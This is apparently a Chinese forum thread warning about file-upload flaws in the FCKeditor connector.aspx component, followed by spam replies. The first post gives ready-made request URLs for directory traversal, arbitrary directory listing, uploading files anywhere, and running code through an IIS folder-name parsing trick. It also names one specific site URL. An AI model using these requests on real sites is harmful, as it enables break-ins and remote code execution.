FCKeditor 新闻组件的一些程序漏洞

ttx9n · 发表于 2009-4-28 20:14:44

很多网站可能都在用FCK的新闻编辑组件，使用FCK的时候一定要注意版本是否安全，以下是FCK中的文件上传漏洞：（主要是：connector.aspx文件的漏洞）


         1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。

u7yxn9 · 发表于 2022-12-11 21:22:51

啦啦啦啦啦啦哈哈哈

fiyeid · 发表于 2022-12-23 17:41:24

儿童服务绯闻绯闻绯闻

v3sfsi · 发表于 2023-3-13 01:04:58

很不错的玩意

雪龙Ui79 · 发表于 2023-4-27 13:15:08

好东西一定要看看！

kwzc65wdj · 发表于 2023-9-3 02:28:59

灌灌灌灌水

dm00ji1s · 发表于 2024-1-30 12:01:08

刷刷刷刷刷刷刷刷刷刷刷刷刷刷刷

hd1tvqb3 · 发表于 2024-3-7 10:19:56

了乐趣了去了去了去了去了

u6h2m4 · 发表于 2024-3-16 11:37:27

快更新啊，我擦

溪谷玉贤 · 发表于 2024-8-2 19:08:19

灌灌灌灌水

账号		自动登录	找回密码
密码			立即注册

[网页编辑器] FCKeditor 新闻组件的一些程序漏洞

相关帖子